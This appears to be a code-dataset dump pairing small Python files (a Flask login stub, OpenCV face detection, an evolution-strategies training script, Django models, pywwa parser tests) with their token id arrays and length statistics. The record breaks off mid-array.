220, 37227, 198, 220, 220, 220, 1441, 8543, 62, 28243, 10786, 31803, 13, 6494, 3256, 26209, 28, 25927, 13, 26209, 8, 198, 198, 31, 1324, 13, 38629, 10786, 14, 38235, 3256, 5050, 28, 17816, 32782, 41707, 18851, 6, 12962, 198, 4299, 598, 62, 38235, 33529, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 262, 6339, 329, 17594, 13, 770, 481, 1561, 284, 257, 27669, 598, 543, 318, 2491, 287, 198, 220, 220, 220, 262, 9290, 17594, 12, 2704, 2093, 25, 27641, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 4049, 28, 14202, 198, 220, 220, 220, 611, 598, 13, 33407, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 275, 1559, 13, 17752, 62, 22602, 13, 67, 8142, 15090, 6, 13376, 10354, 705, 13138, 6, 30072, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 47844, 7007, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2581, 13, 24396, 6624, 705, 32782, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4798, 7203, 25927, 1366, 422, 6444, 25, 1600, 2581, 13, 7890, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4798, 7203, 25927, 1366, 422, 6444, 25, 1600, 33918, 13, 46030, 7, 25927, 13, 7890, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 6015, 85, 62, 38235, 62, 42180, 796, 33918, 13, 46030, 7, 25927, 13, 7890, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4798, 7203, 25927, 33918, 422, 6444, 25, 1600, 374, 33967, 62, 38235, 62, 42180, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3053, 62, 29851, 28, 25927, 13, 687, 17816, 29460, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9206, 28, 25927, 13, 687, 17816, 28712, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 12888, 62, 29851, 11, 366, 553, 11, 9206, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 374, 33967, 62, 38235, 62, 42180, 34758, 6, 12888, 62, 21975, 10354, 12888, 62, 29851, 11, 705, 28712, 10354, 28712, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 2581, 262, 17594, 12, 1324, 284, 8323, 5344, 262, 2836, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 79, 7890, 16, 796, 1391, 6, 12888, 62, 21975, 10354, 6, 3865, 69, 22, 28435, 3605, 67, 23, 31, 733, 88, 11431, 13, 785, 3256, 705, 28712, 10354, 6, 20, 69, 19, 67, 535, 18, 65, 20, 7252, 29143, 67, 5333, 67, 5999, 1983, 11275, 42980, 12993, 2079, 6, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 24697, 796, 1391, 6, 11299, 12, 4906, 10354, 705, 31438, 14, 17752, 6, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 374, 796, 7007, 13, 7353, 10786, 4023, 1378, 16302, 12, 38235, 12, 2704, 2093, 25, 27641, 14, 38235, 3256, 1366, 28, 1443, 261, 13, 17752, 62, 22602, 13, 67, 8142, 7, 6015, 85, 62, 38235, 62, 42180, 828, 24697, 28, 50145, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4798, 7203, 21280, 2581, 1600, 26672, 7, 81, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 81, 796, 7007, 13, 1136, 10786, 4023, 1378, 38235, 12, 2704, 2093, 25, 27641, 14, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4798, 7203, 26209, 25, 1600, 26672, 7, 81, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 26209, 13, 5239, 25, 1600, 374, 13, 5239, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 26209, 13, 13376, 62, 8189, 1600, 374, 13, 13376, 62, 8189, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4798, 7203, 26209, 13, 17752, 1600, 374, 13, 17752, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 16926, 46, 25, 8229, 262, 449, 39386, 994, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6246, 17816, 13838, 1634, 20520, 28, 17752, 13, 46030, 7, 81, 13, 5239, 8, 17816, 18439, 62, 30001, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 7783, 18941, 7, 6371, 62, 1640, 10786, 2875, 62, 12106, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 7783, 8543, 62, 28243, 10786, 38235, 62, 13138, 13, 6494, 3256, 4049, 28, 18224, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 705, 27, 71, 16, 29, 6, 10, 1, 33244, 1, 10, 6, 3556, 71, 16, 29, 6, 198, 220, 220, 220, 220, 220, 220, 220, 220, 2845, 35528, 355, 304, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 1069, 4516, 25, 1600, 965, 7, 68, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 7783, 705, 27, 71, 16, 29, 6, 10, 1, 18224, 1, 10, 6, 3556, 71, 16, 29, 6, 198, 220, 220, 220, 1441, 8543, 62, 28243, 10786, 38235, 13, 6494, 3256, 4049, 28, 18224, 8, 198, 198, 31, 1324, 13, 38629, 10786, 14, 19023, 14, 27, 8841, 25, 4868, 278, 62, 312, 29, 3256, 5050, 28, 17816, 18851, 6, 12962, 198, 198, 31, 1324, 13, 38629, 10786, 14, 6404, 1040, 84, 1591, 3256, 5050, 28, 17816, 18851, 6, 12962, 198, 198, 2, 6208, 1262, 4613, 29249, 532, 55, 24582, 532, 39, 705, 19746, 12, 6030, 25, 3586, 14, 17752, 6, 2638, 1378, 16799, 13, 15, 13, 15, 13, 16, 14, 1136, 4868, 654, 532, 67, 705, 4895, 3077, 9649, 2404, 20, 13, 15, 20662, 6, 198, 2, 4091, 3740, 1378, 70, 396, 13, 12567, 13, 785, 14, 7266, 69, 10277, 295, 14, 2919, 66, 20, 67, 23, 4051, 2718, 67, 20, 67, 19, 69, 405, 68, 3365, 198, 2, 5660, 1628, 14, 5143, 62, 1676, 73, 13, 1477, 198, 198, 2, 4023, 1378, 721, 17, 12, 1507, 12, 26492, 12, 22136, 12, 20666, 13, 385, 12, 23316, 12, 17, 13, 5589, 1133, 13, 33103, 8356, 13, 785, 14, 1136, 4868, 654, 30, 13344, 8189, 28, 18938, 23, 5, 3077, 9649, 28, 16, 5, 330, 785, 375, 689, 28, 15, 198, 31, 1324, 13, 38629, 10786, 14, 1136, 4868, 654, 3256, 5050, 28, 17816, 18851, 6, 12962, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 2, 220, 220, 220, 598, 796, 46947, 7, 834, 3672, 834, 8, 198, 220, 220, 220, 598, 13, 5143, 7, 4774, 11639, 16799, 13, 15, 13, 15, 13, 16, 3256, 634, 28, 27641, 11, 24442, 28, 17821, 8, 198 ]
2.357317
1,640
#!/usr/bin/env python3.8 import pyperclip import random import string from py_lock import personas, profiles if __name__ == '__main__': main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 13, 23, 198, 11748, 12972, 525, 15036, 198, 11748, 4738, 198, 11748, 4731, 198, 6738, 12972, 62, 5354, 1330, 1048, 292, 11, 16545, 628, 628, 628, 628, 628, 628, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1388, 3419, 198 ]
2.824561
57
s=Set([1,2,3]) s.add(4) print s print ("contains 5,",s.contains(5)) print ("contains 4,",s.contains(4)) s.remove(3) print (s) print ("contains 3,",s.contains(3))
[ 198, 82, 28, 7248, 26933, 16, 11, 17, 11, 18, 12962, 198, 82, 13, 2860, 7, 19, 8, 198, 4798, 264, 198, 4798, 5855, 3642, 1299, 642, 553, 11, 82, 13, 3642, 1299, 7, 20, 4008, 198, 198, 4798, 5855, 3642, 1299, 604, 553, 11, 82, 13, 3642, 1299, 7, 19, 4008, 198, 198, 82, 13, 28956, 7, 18, 8, 198, 4798, 357, 82, 8, 198, 198, 4798, 5855, 3642, 1299, 513, 553, 11, 82, 13, 3642, 1299, 7, 18, 4008, 198 ]
2.02439
82
import os import sys import argparse import subprocess import torch import numpy as np import time import gym import pybullet import pybullet_envs from mpi4py import MPI comm = MPI.COMM_WORLD from bevodevo.policies.rnns import GatedRNNPolicy from bevodevo.policies.cnns import ImpalaCNNPolicy from bevodevo.policies.mlps import MLPPolicy, CPPNMLPPolicy, CPPNHebbianMLP,\ HebbianMLP, ABCHebbianMLP, HebbianMetaMLP, ABCHebbianMetaMLP from bevodevo.algos.es import ESPopulation, ConstrainedESPopulation from bevodevo.algos.cmaes import CMAESPopulation from bevodevo.algos.pges import PGESPopulation from bevodevo.algos.nes import NESPopulation from bevodevo.algos.ga import GeneticPopulation from bevodevo.algos.random_search import RandomSearch #from bevodevo.algos.vpg import VanillaPolicyGradient #from bevodevo.algos.dqn import DQN if __name__ == "__main__": parser = argparse.ArgumentParser("Experiment parameters") parser.add_argument("-n", "--env_name", type=str, \ help="name of environemt", default="InvertedPendulumBulletEnv-v0") parser.add_argument("-p", "--population_size", type=int,\ help="number of individuals in population", default=64) parser.add_argument("-w", "--num_workers", type=int,\ help="number of cpu thread workers", default=0) parser.add_argument("-a", "--algorithm", type=str,\ help="name of es learning algo", default="ESPopulation") parser.add_argument("-pi", "--policy", type=str,\ help="name of policy architecture", default="MLPPolicy") parser.add_argument("-g", "--generations", type=int,\ help="number of generations", default=50) parser.add_argument("-t", "--performance_threshold", type=float,\ help="performance threshold to use for early stopping", default=float("Inf")) parser.add_argument("-x", "--exp_name", type=str, \ help="name of experiment", default="temp_exp") parser.add_argument("-s", "--seeds", type=int, nargs="+", default=42,\ help="seed for initializing pseudo-random number generator") args = parser.parse_args() if "BalanceBot" in args.env_name \ or "Duck" in args.env_name \ or "Cube" in args.env_name \ or "Sphere" in args.enve_name: import open_safety.envs if "-v" not in args.env_name: args.env_name += "-v0" if type(args.seeds) is not list: args.seeds = [args.seeds] train(args)
[ 11748, 28686, 198, 11748, 25064, 198, 11748, 1822, 29572, 198, 11748, 850, 14681, 198, 198, 11748, 28034, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 640, 198, 198, 11748, 11550, 198, 11748, 12972, 15065, 1616, 198, 11748, 12972, 15065, 1616, 62, 268, 14259, 628, 198, 6738, 285, 14415, 19, 9078, 1330, 4904, 40, 198, 9503, 796, 4904, 40, 13, 9858, 44, 62, 45359, 11163, 198, 198, 6738, 307, 85, 1098, 13038, 13, 79, 4160, 444, 13, 35906, 5907, 1330, 402, 515, 49, 6144, 36727, 198, 6738, 307, 85, 1098, 13038, 13, 79, 4160, 444, 13, 31522, 5907, 1330, 9855, 6081, 18474, 36727, 198, 6738, 307, 85, 1098, 13038, 13, 79, 4160, 444, 13, 4029, 862, 1330, 10373, 10246, 21424, 11, 327, 10246, 45, 5805, 10246, 21424, 11, 327, 10246, 45, 1544, 11848, 666, 5805, 47, 11, 59, 198, 220, 220, 220, 220, 220, 220, 220, 679, 11848, 666, 5805, 47, 11, 9738, 1544, 11848, 666, 5805, 47, 11, 679, 11848, 666, 48526, 5805, 47, 11, 9738, 1544, 11848, 666, 48526, 5805, 47, 198, 198, 6738, 307, 85, 1098, 13038, 13, 14016, 418, 13, 274, 1330, 9428, 404, 1741, 11, 1482, 2536, 1328, 1546, 45251, 198, 6738, 307, 85, 1098, 13038, 13, 14016, 418, 13, 66, 2611, 274, 1330, 327, 5673, 1546, 45251, 198, 6738, 307, 85, 1098, 13038, 13, 14016, 418, 13, 79, 3212, 1330, 23842, 1546, 45251, 198, 6738, 307, 85, 1098, 13038, 13, 14016, 418, 13, 2516, 1330, 31925, 45251, 198, 6738, 307, 85, 1098, 13038, 13, 14016, 418, 13, 4908, 1330, 42295, 45251, 198, 6738, 307, 85, 1098, 13038, 13, 14016, 418, 13, 25120, 62, 12947, 1330, 14534, 18243, 628, 198, 2, 6738, 307, 85, 1098, 13038, 13, 14016, 418, 13, 85, 6024, 1330, 33897, 36727, 42731, 1153, 198, 2, 6738, 307, 85, 1098, 13038, 13, 14016, 418, 13, 49506, 77, 1330, 360, 48, 45, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 30751, 796, 1822, 29572, 13, 28100, 1713, 46677, 7203, 20468, 3681, 10007, 4943, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 7203, 12, 77, 1600, 366, 438, 24330, 62, 3672, 1600, 2099, 28, 2536, 11, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 3672, 286, 551, 2268, 368, 83, 1600, 4277, 2625, 818, 13658, 47, 437, 14452, 33481, 1616, 4834, 85, 12, 85, 15, 4943, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 7203, 12, 79, 1600, 366, 438, 39748, 62, 7857, 1600, 2099, 28, 600, 11, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 17618, 286, 3925, 287, 3265, 1600, 4277, 28, 2414, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 7203, 12, 86, 1600, 366, 438, 22510, 62, 22896, 1600, 2099, 28, 600, 11, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 17618, 286, 42804, 4704, 3259, 1600, 4277, 28, 15, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 7203, 12, 64, 1600, 366, 438, 282, 42289, 1600, 2099, 28, 2536, 11, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 3672, 286, 1658, 4673, 435, 2188, 1600, 4277, 2625, 1546, 45251, 4943, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 7203, 12, 14415, 1600, 366, 438, 30586, 1600, 2099, 28, 2536, 11, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 3672, 286, 2450, 10959, 1600, 4277, 2625, 5805, 10246, 21424, 4943, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 7203, 12, 70, 1600, 366, 438, 8612, 602, 1600, 2099, 28, 600, 11, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 17618, 286, 10439, 1600, 4277, 28, 1120, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 7203, 12, 83, 1600, 366, 438, 26585, 62, 400, 10126, 1600, 2099, 28, 22468, 11, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 26585, 11387, 284, 779, 329, 1903, 12225, 1600, 4277, 28, 22468, 7203, 18943, 48774, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 7203, 12, 87, 1600, 366, 438, 11201, 62, 3672, 1600, 2099, 28, 2536, 11, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 3672, 286, 6306, 1600, 4277, 2625, 29510, 62, 11201, 4943, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 7203, 12, 82, 1600, 366, 438, 325, 5379, 1600, 2099, 28, 600, 11, 299, 22046, 2625, 10, 1600, 4277, 28, 3682, 11, 59, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1037, 2625, 28826, 329, 4238, 2890, 24543, 12, 25120, 1271, 17301, 4943, 628, 220, 220, 220, 26498, 796, 30751, 13, 29572, 62, 22046, 3419, 628, 220, 220, 220, 611, 366, 45866, 20630, 1, 287, 26498, 13, 24330, 62, 3672, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 393, 366, 35, 1347, 1, 287, 26498, 13, 24330, 62, 3672, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 393, 366, 29071, 1, 287, 26498, 13, 24330, 62, 3672, 3467, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 393, 366, 38882, 1, 287, 26498, 13, 268, 303, 62, 3672, 25, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1330, 1280, 62, 44708, 13, 268, 14259, 628, 220, 220, 220, 611, 27444, 85, 1, 407, 287, 26498, 13, 24330, 62, 3672, 25, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 24330, 62, 3672, 15853, 27444, 85, 15, 1, 628, 220, 220, 220, 611, 2099, 7, 22046, 13, 325, 5379, 8, 318, 407, 1351, 25, 198, 220, 220, 220, 220, 220, 220, 220, 26498, 13, 325, 5379, 796, 685, 22046, 13, 325, 5379, 60, 628, 220, 220, 220, 4512, 7, 22046, 8, 198, 220, 220, 220, 220, 198 ]
2.523232
990
# from django.db import models from django.contrib.auth.models import AbstractUser from django.db import models # Create your models here.
[ 2, 422, 42625, 14208, 13, 9945, 1330, 4981, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 27530, 1330, 27741, 12982, 198, 6738, 42625, 14208, 13, 9945, 1330, 4981, 198, 198, 2, 13610, 534, 4981, 994, 13 ]
3.657895
38
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ MIT License Copyright (c) 2020 Rémi Flamary Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import numpy as np import numpy as np import cv2 import os path_classif=os.path.dirname(__file__)+'/../data/models/haarcascade_frontalface_default.xml' cam=os.getenv("CAMERA") if cam is None: cap = cv2.VideoCapture(0) else: cap = cv2.VideoCapture(int(cam)) face_cascade = cv2.CascadeClassifier(path_classif) #screenshot index index idscreen=0 while(True): # Capture frame-by-frame ret, frame = cap.read() img=frame # apply detector gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMultiScale(gray, 1.3, 5) # print rectangles for detected faces for (x,y,w,h) in faces: img = cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) roi_gray = gray[y:y+h, x:x+w] roi_color = img[y:y+h, x:x+w] # Display the resulting frame cv2.imshow('Face detection',img) key=cv2.waitKey(1) if (key & 0xFF) in [ ord('q')]: break if (key & 0xFF) in [ ord('s')]: cv2.imwrite("screen_{}.png".format(idscreen),img*255) idscreen+=1 # When everything done, release the capture cap.release() cv2.destroyAllWindows()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 36393, 13789, 198, 198, 15269, 357, 66, 8, 12131, 47957, 11632, 33104, 560, 198, 198, 5990, 3411, 318, 29376, 7520, 11, 1479, 286, 3877, 11, 284, 597, 1048, 16727, 257, 4866, 198, 1659, 428, 3788, 290, 3917, 10314, 3696, 357, 1169, 366, 25423, 12340, 284, 1730, 198, 259, 262, 10442, 1231, 17504, 11, 1390, 1231, 17385, 262, 2489, 198, 1462, 779, 11, 4866, 11, 13096, 11, 20121, 11, 7715, 11, 14983, 11, 850, 43085, 11, 290, 14, 273, 3677, 198, 22163, 444, 286, 262, 10442, 11, 290, 284, 8749, 6506, 284, 4150, 262, 10442, 318, 198, 69, 700, 1348, 284, 466, 523, 11, 2426, 284, 262, 1708, 3403, 25, 198, 198, 464, 2029, 6634, 4003, 290, 428, 7170, 4003, 2236, 307, 3017, 287, 477, 198, 22163, 444, 393, 8904, 16690, 286, 262, 10442, 13, 198, 198, 10970, 47466, 3180, 36592, 2389, 1961, 366, 1921, 3180, 1600, 42881, 34764, 56, 3963, 15529, 509, 12115, 11, 7788, 32761, 6375, 198, 3955, 49094, 11, 47783, 2751, 21728, 5626, 40880, 5390, 3336, 34764, 11015, 3963, 34482, 3398, 1565, 5603, 25382, 11, 198, 37, 46144, 7473, 317, 16652, 2149, 37232, 33079, 48933, 5357, 44521, 1268, 10913, 2751, 12529, 13, 3268, 8005, 49261, 50163, 3336, 198, 32, 24318, 20673, 6375, 27975, 38162, 9947, 367, 15173, 4877, 9348, 43031, 19146, 7473, 15529, 47666, 3955, 11, 29506, 25552, 6375, 25401, 198, 43, 3539, 25382, 11, 7655, 2767, 16879, 3268, 3537, 40282, 3963, 27342, 10659, 11, 309, 9863, 6375, 25401, 54, 24352, 11, 5923, 1797, 2751, 16034, 11, 198, 12425, 3963, 6375, 3268, 7102, 45, 24565, 13315, 3336, 47466, 6375, 3336, 23210, 6375, 25401, 5550, 1847, 20754, 3268, 3336, 198, 15821, 37485, 13, 198, 198, 37811, 198, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 269, 85, 17, 198, 11748, 28686, 198, 198, 6978, 62, 4871, 361, 28, 418, 13, 6978, 13, 15908, 3672, 7, 834, 7753, 834, 47762, 26488, 40720, 7890, 14, 27530, 14, 3099, 5605, 28966, 62, 8534, 1604, 558, 62, 12286, 13, 19875, 6, 628, 198, 20991, 28, 418, 13, 1136, 24330, 7203, 34, 2390, 46461, 4943, 198, 361, 12172, 318, 6045, 25, 198, 220, 220, 220, 1451, 796, 269, 85, 17, 13, 10798, 49630, 7, 15, 8, 198, 17772, 25, 198, 220, 220, 220, 1451, 796, 269, 85, 17, 13, 10798, 49630, 7, 600, 7, 20991, 4008, 198, 198, 2550, 62, 66, 28966, 796, 269, 85, 17, 13, 34, 28966, 9487, 7483, 7, 6978, 62, 4871, 361, 8, 198, 198, 2, 1416, 26892, 6376, 6376, 198, 312, 9612, 28, 15, 628, 198, 4514, 7, 17821, 2599, 628, 220, 220, 220, 1303, 31793, 5739, 12, 1525, 12, 14535, 198, 220, 220, 220, 1005, 11, 5739, 796, 1451, 13, 961, 3419, 198, 220, 220, 220, 33705, 28, 14535, 628, 220, 220, 220, 1303, 4174, 31029, 198, 220, 220, 220, 12768, 796, 269, 85, 17, 13, 33967, 83, 10258, 7, 9600, 11, 269, 85, 17, 13, 46786, 62, 33, 10761, 17, 38, 30631, 8, 198, 220, 220, 220, 6698, 796, 1986, 62, 66, 28966, 13, 15255, 478, 29800, 29990, 7, 44605, 11, 352, 13, 18, 11, 642, 8, 628, 220, 220, 220, 1303, 3601, 13621, 27787, 329, 12326, 6698, 198, 220, 220, 220, 329, 357, 87, 11, 88, 11, 86, 11, 71, 8, 287, 6698, 25, 198, 220, 220, 220, 220, 220, 220, 220, 33705, 796, 269, 85, 17, 13, 2554, 9248, 7, 9600, 11, 7, 87, 11, 88, 828, 7, 87, 10, 86, 11, 88, 10, 71, 828, 7, 13381, 11, 15, 11, 15, 828, 17, 8, 198, 220, 220, 220, 220, 220, 220, 220, 686, 72, 62, 44605, 796, 12768, 58, 88, 25, 88, 10, 71, 11, 2124, 25, 87, 10, 86, 60, 198, 220, 220, 220, 220, 220, 220, 220, 686, 72, 62, 8043, 796, 33705, 58, 88, 25, 88, 10, 71, 11, 2124, 25, 87, 10, 86, 60, 220, 220, 628, 220, 220, 220, 1303, 16531, 262, 7186, 5739, 198, 220, 220, 220, 269, 85, 17, 13, 320, 12860, 10786, 32388, 13326, 3256, 9600, 8, 628, 220, 220, 220, 1994, 28, 33967, 17, 13, 17077, 9218, 7, 16, 8, 198, 220, 220, 220, 611, 357, 2539, 1222, 657, 87, 5777, 8, 287, 685, 2760, 10786, 80, 11537, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 2270, 198, 220, 220, 220, 611, 357, 2539, 1222, 657, 87, 5777, 8, 287, 685, 2760, 10786, 82, 11537, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 269, 85, 17, 13, 320, 13564, 7203, 9612, 23330, 27422, 11134, 1911, 18982, 7, 312, 9612, 828, 9600, 9, 13381, 8, 198, 220, 220, 220, 220, 220, 220, 220, 4686, 9612, 47932, 16, 628, 220, 220, 220, 220, 220, 220, 220, 220, 198, 2, 1649, 2279, 1760, 11, 2650, 262, 8006, 198, 11128, 13, 20979, 3419, 198, 33967, 17, 13, 41659, 3237, 11209, 3419, 198 ]
2.735187
827
import googleSheetsApi import eloCalculator if __name__ == '__main__': main()
[ 11748, 23645, 3347, 1039, 32, 14415, 198, 11748, 1288, 78, 9771, 3129, 1352, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1388, 3419 ]
2.645161
31
"""Test cli_parser.""" # 3rd Party from pyiem.util import utc import pytest # Local import pywwa from pywwa.workflows import cli_parser from pywwa.testing import get_example_file @pytest.mark.parametrize("database", ["iem"]) def test_processor(cursor): """Test basic parsing.""" data = get_example_file("CLI.txt") pywwa.CTX.utcnow = utc(2015, 6, 9, 6, 51) prod = cli_parser.processor(cursor, data) assert prod.valid == pywwa.CTX.utcnow @pytest.mark.parametrize("database", ["iem"]) def test_two_clis(cursor): """Test parsing ye infamous double CLI.""" cursor.execute( "select max_tmpf from summary_2014 s JOIN stations t " "on (s.iemid = t.iemid) WHERE t.id in ('HOU', 'IAH') " "and day = '2014-11-30'" ) data = get_example_file("CLIHOU.txt") prod = cli_parser.processor(cursor, data) assert len(prod.data) == 2 @pytest.mark.parametrize("database", ["iem"]) def test_bad_station(cursor): """Test what happens when we have an unknown station.""" data = get_example_file("CLI.txt").replace("CLIFGF", "CLIXXX") pywwa.CTX.utcnow = utc(2015, 6, 9, 6, 51) prod = cli_parser.processor(cursor, data) assert prod is not None
[ 37811, 14402, 537, 72, 62, 48610, 526, 15931, 198, 2, 513, 4372, 3615, 198, 6738, 12972, 26597, 13, 22602, 1330, 3384, 66, 198, 11748, 12972, 9288, 198, 198, 2, 10714, 198, 11748, 12972, 1383, 64, 198, 6738, 12972, 1383, 64, 13, 1818, 44041, 1330, 537, 72, 62, 48610, 198, 6738, 12972, 1383, 64, 13, 33407, 1330, 651, 62, 20688, 62, 7753, 628, 198, 31, 9078, 9288, 13, 4102, 13, 17143, 316, 380, 2736, 7203, 48806, 1600, 14631, 26597, 8973, 8, 198, 4299, 1332, 62, 41341, 7, 66, 21471, 2599, 198, 220, 220, 220, 37227, 14402, 4096, 32096, 526, 15931, 198, 220, 220, 220, 1366, 796, 651, 62, 20688, 62, 7753, 7203, 5097, 40, 13, 14116, 4943, 198, 220, 220, 220, 12972, 1383, 64, 13, 4177, 55, 13, 315, 66, 2197, 796, 3384, 66, 7, 4626, 11, 718, 11, 860, 11, 718, 11, 6885, 8, 198, 220, 220, 220, 40426, 796, 537, 72, 62, 48610, 13, 41341, 7, 66, 21471, 11, 1366, 8, 198, 220, 220, 220, 6818, 40426, 13, 12102, 6624, 12972, 1383, 64, 13, 4177, 55, 13, 315, 66, 2197, 628, 198, 31, 9078, 9288, 13, 4102, 13, 17143, 316, 380, 2736, 7203, 48806, 1600, 14631, 26597, 8973, 8, 198, 4299, 1332, 62, 11545, 62, 565, 271, 7, 66, 21471, 2599, 198, 220, 220, 220, 37227, 14402, 32096, 9838, 16526, 4274, 43749, 526, 15931, 198, 220, 220, 220, 23493, 13, 41049, 7, 198, 220, 220, 220, 220, 220, 220, 220, 366, 19738, 3509, 62, 22065, 69, 422, 10638, 62, 4967, 264, 32357, 1268, 8985, 256, 366, 198, 220, 220, 220, 220, 220, 220, 220, 366, 261, 357, 82, 13, 26597, 312, 796, 256, 13, 26597, 312, 8, 33411, 256, 13, 312, 287, 19203, 46685, 3256, 705, 3539, 39, 11537, 366, 198, 220, 220, 220, 220, 220, 220, 220, 366, 392, 1110, 796, 705, 4967, 12, 1157, 12, 1270, 29653, 198, 220, 220, 220, 1267, 198, 220, 220, 220, 1366, 796, 651, 62, 20688, 62, 7753, 7203, 5097, 40, 46685, 13, 14116, 4943, 198, 220, 220, 220, 40426, 796, 537, 72, 62, 48610, 13, 41341, 7, 66, 21471, 11, 1366, 8, 198, 220, 220, 220, 6818, 18896, 7, 1676, 67, 13, 7890, 8, 6624, 362, 628, 198, 31, 9078, 9288, 13, 4102, 13, 17143, 316, 380, 2736, 7203, 48806, 1600, 14631, 26597, 8973, 8, 198, 4299, 1332, 62, 14774, 62, 17529, 7, 66, 21471, 2599, 198, 220, 220, 220, 37227, 14402, 644, 4325, 618, 356, 423, 281, 6439, 4429, 526, 15931, 198, 220, 220, 220, 1366, 796, 